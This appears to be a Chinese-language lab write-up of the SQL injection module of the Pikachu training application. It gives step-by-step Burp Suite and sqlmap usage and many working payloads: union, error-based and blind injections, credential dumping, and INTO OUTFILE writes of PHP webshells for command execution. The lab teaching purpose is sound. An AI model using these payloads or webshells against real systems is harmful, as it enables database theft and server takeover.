pikachu---SQL Injection
SQL Injection
概述:
数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。
攻击流程:



常见注入点类型:

数字型注入(post):
将火狐浏览器使用burpsuite代理并关闭连接,下拉菜单随便选一个点击查询。

将抓到的提交参数的包发送到Repeater模块,将id改为id=1 or 1=1,点击重放,在Render模块可以看到遍历了所有信息。

查看后台源代码:

发现其未做任何处理就直接将获取到的id拼接到SQL语句中执行,所以存在SQL注入漏洞。
字符型注入(get):
输入kode,页面返回kobe信息。

因为是字符型注入,所以构造闭合并注释后面的单引号来执行语句。
输入kobe' or 1=1#,页面返回遍历所有信息。

查看后台源代码:

发现其直接获取用户输入的字符型参数拼接到SQL语句中执行,所以存在SQL注入漏洞。
搜索型注入:
搜索型注入常用SQL语句:

查看后台源码:

发现其直接获取用户输入的字符型参数拼接到搜索语句中,因此存在SQL注入漏洞。
构造闭合语句注释后面的单引号和百分号。
输入zjj%' or 1=1#,页面返回遍历所有信息。

xx型注入:
查看后台源代码:

发现其与之前相同,只是参数的闭合方式不同,同样存在SQL注入漏洞。
输入zjj') or 1=1#,页面返回所有信息。

union select联合查询与order by语句使用:
union select查询的字段数要和前面的字段数相同,否则会报错。

order by语句可判断字段数,order by 1按照第一列排序,如果没有这一列就会报错。

在字符型注入(get)中
输入a' order by 3#,页面报错。
输入a' order by 2#,页面返回输入的用户名不存在,证明有2个字段。
查出字段数后就可以使用union select联合查询查一些想要的内容。
输入a' union select database(),user()#,页面成功返回我们想要的内容。

Mysql数据库的information_schema库:

在字符型注入(get)中
使用联合查询获取当前数据库的表名,列名和内容。
输入zjj' union select column_name,2 from information_schema.columns where table_schema='pikachu'#

输入zjj' union select column_name,2 from information_schema.columns where table_schema='pikachu' and table_name='users'#

输入zjj' union select username,password from pikachu.users#

获取到密码后使用md5解密工具解密。

基于报错的注入:
前提:
后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
思路:
在Mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
常用报错函数:
- updatexml():Mysql对XML文档数据进行查询和修改的xpath函数。
- extractvalue():Mysql对XML文档数据进行查询的xpath函数。
- floor():Mysql中用来取整的函数。
updatexml()函数作用:
改变(查找并替换)XML文档中符合条件的节点的值。

在字符型注入(get)中
通过改变limit遍历表名,字段名和内容:
输入zjj' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),1)#

“insert/update”注入:
insert用法:
![]()
点击注册,只填必填项,输入
用户:' or updatexml(1,concat(0x7e,database()),1) or'
密码:123
点击提交成功报错回显出当前数据库。

之后修改database()为爆库,表,字段和内容的语句即可。
updatexml用法:
输入
用户:' and updatexml(1,concat(0x7e,database()),1) or'
密码:123
点击提交成功报错回显出当前数据库。

之后修改database()为爆库,表,字段和内容的语句即可。
“delete”注入:
随意输入一条留言,点击提交。
将火狐浏览器使用burpsuite代理并关闭拦截。
点击删除留言,将抓到的包发送到Repeater模块。
查看后台源代码:

发现其直接将获取到的id拼接到delete语句执行。
可以对id闭合执行报错语句:
1 and updatexml(1,concat(0x7e,database()),1)
通过找到的包可以看出id是以GET形式在url中传递的,所以要将报错语句转换为url编码才可以被代入执行。
选中报错语句右键按照如图所示操作完成转换。

点击重放,在Raw中可以看到成功报错出当前数据库。

之后修改database()为爆库,表,字段和内容的语句即可。
extractvalue()函数作用:
从目标XML中返回包含所查询值得字符串。

在字符型注入中输入
' and extractvalue(1,concat(0x7e,database()))#

之后修改database()为爆库,表,字段和内容的语句即可。
floor()函数:
在字符型注入中输入
' and (select 2 from(select count(*),concat(database(),floor(rand(0)*2))a from information_schema.tables group by a)x)#

之后修改database()为爆库,表,字段和内容的语句即可。
“http header”注入:
概念:

将火狐浏览器使用burpsuite代理并关闭拦截。
将抓到的包发送到Repeater模块。
将User-Agent改为一个单引号,点击重放,Raw中显示SQL语句有错误,说明此处存在注入。

将单引号改为报错注入语句,输入
' and updatexml(1,concat(0x7e,database()),1) or'
成功报错出当前数据库。

将原来抓到的包中Cookie中的用户名后添加一个单引号,点击重放,Raw中显示SQL语句有错误,说明此处存在注入。

将单引号改为报错注入语句,输入
' and updatexml(1,concat(0x7e,database()),1)#
成功报错出当前数据库。

盲注概念:

盲注(base on boolian):
表现形式:

输入
kobe' and 1=1#成功返回kobe信息。
kobe' and 1=2#提示用户名不存在。
说明存在盲注。
猜解当前数据库每一个字符:
输入
kobe' and ascii(substr(database(),1,1))>113#提示用户名不存在。
kobe' and ascii(substr(database(),1,1))=112#成功返回kobe信息。
说明当前数据库第一个字符为p。
之后修改database()为爆库,表,字段和内容的语句即可。
盲注(base on time):
表现形式:
页面不返回对错,只能根据反应时间判断。
输入
kobe' and sleep(5)#页面延迟5秒。
说明and语句成功被执行,存在基于时间的盲注。
猜解当前数据库每一个字符:
输入
kobe' and if(substr(database(),1,1)='p',sleep(5),null)#页面延迟5秒。
通过sql进行服务器的远程控制:
一句话木马概念:

写入恶意代码前提条件:
- 需要知道远程目录
- 需要远程目录有写权限
- 需要数据库开启了secure_file_priv
在字符型注入中
输入
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/2.php"#
文件被成功创建并写入一句话木马。

url输入
http://192.168.18.21/2.php?test=phpinfo();
成功执行命令。

输入
kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "C:/phpStudy/PHPTutorial/WWW/3.php"#
url输入
http://192.168.18.21/3.php?cmd=ipconfig;
成功执行命令。

暴力破解在sql注入中的应用:
将火狐浏览器使用burpsuite代理并关闭拦截。
在字符型注入中
输入
kobe' and exists(select * from aa)#
将抓到的包发送到Intruder模块,清楚所有变量,选中aa添加变量。

手动添加一些表名,实际场景中直接放字典就可以。

先清除所有匹配内容,再根据刚才的页面提示添加匹配内容。

点击开始爆破,成功爆出表,爆列名与爆表名步骤相同。

SQL注入漏洞防范措施:


PHP防范转义+过滤:


网络防护措施:


SQLmap工具使用:
在盲注(base on boolian)中随便输入一个用户名,点击提交,因为是GET请求,复制url。
打开sqlmap工具,输入
sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2"
回车输出结果。

输入
sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" --current-db
回车输出当前数据库。

输入
sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
回车输出当前数据库的所有表。

输入
sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
回车输出当前数据库users表中的所有列。

输入
sqlmap.py -u "http://192.168.18.11/pikachu-master/vul/sqli/sqli_blind_b.php?name=111&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
回车输出username和password字段所有内容。


浙公网安备 33010602011771号